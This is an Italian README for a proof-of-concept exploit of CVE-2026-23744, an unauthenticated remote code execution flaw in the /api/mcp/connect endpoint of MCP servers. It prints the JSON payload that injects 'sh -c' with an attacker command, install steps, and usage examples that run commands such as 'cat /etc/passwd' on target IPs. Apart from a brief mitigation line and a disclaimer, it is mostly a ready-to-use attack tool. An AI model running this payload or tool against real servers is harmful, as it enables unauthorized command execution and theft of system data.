
Python PoC per CVE-2026-23744, RCE non autenticato nei server MCP tramite il campo comando serverConfig di /api/mcp/connect (porta predefinita 6274)
Proof-of-Concept exploit di d3vn0mi
CVE-2026-23744 è una vulnerabilità di Remote Code Execution (RCE) non autenticata nei server compatibili con MCP esposti sulla porta 6274. L'endpoint /api/mcp/connect accetta un oggetto serverConfig che consente ai chiamanti di specificare un comando OS arbitrario e relativi argomenti — senza alcun controllo di autenticazione o autorizzazione.
Un attaccante con accesso di rete al servizio può eseguire comandi arbitrari come utente che esegue il server MCP.
| Dettaglio | Valore |
|---|
| ID CVE | CVE-2026-23744 |
| Tipo | Remote Code Execution non autenticato |
| Endpoint | POST /api/mcp/connect |
| Porta | 6274 (predefinita) |
| Gravità | Critica |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_COMMAND>"],
"env": {}
},
"serverId": "anything"
}
Il server avvia il command fornito con gli args specificati senza sanitizzazione o controllo degli accessi.
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# Utilizzo base
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'
# Porta personalizzata
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# Salta il controllo di raggiungibilità
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# ID server personalizzato
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| Flag | Descrizione |
|---|---|
-t, --target | IP o hostname del target (obbligatorio) |
-c, --command | Comando OS da eseguire (obbligatorio) |
-p, --port | Porta del target (predefinita: 6274) |
-s, --server-id | Valore serverId nel payload |
--timeout | Timeout del probe in secondi (predefinito: 30) |
--no-check | Salta il controllo iniziale di raggiungibilità |
/api/mcp/connect tramite autenticazione e controlli a livello di rete.Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio. Ottenere sempre la dovuta autorizzazione prima di effettuare test.
Questo progetto è concesso in licenza sotto la MIT License.
d3vn0mi — github.com/d3vn0mi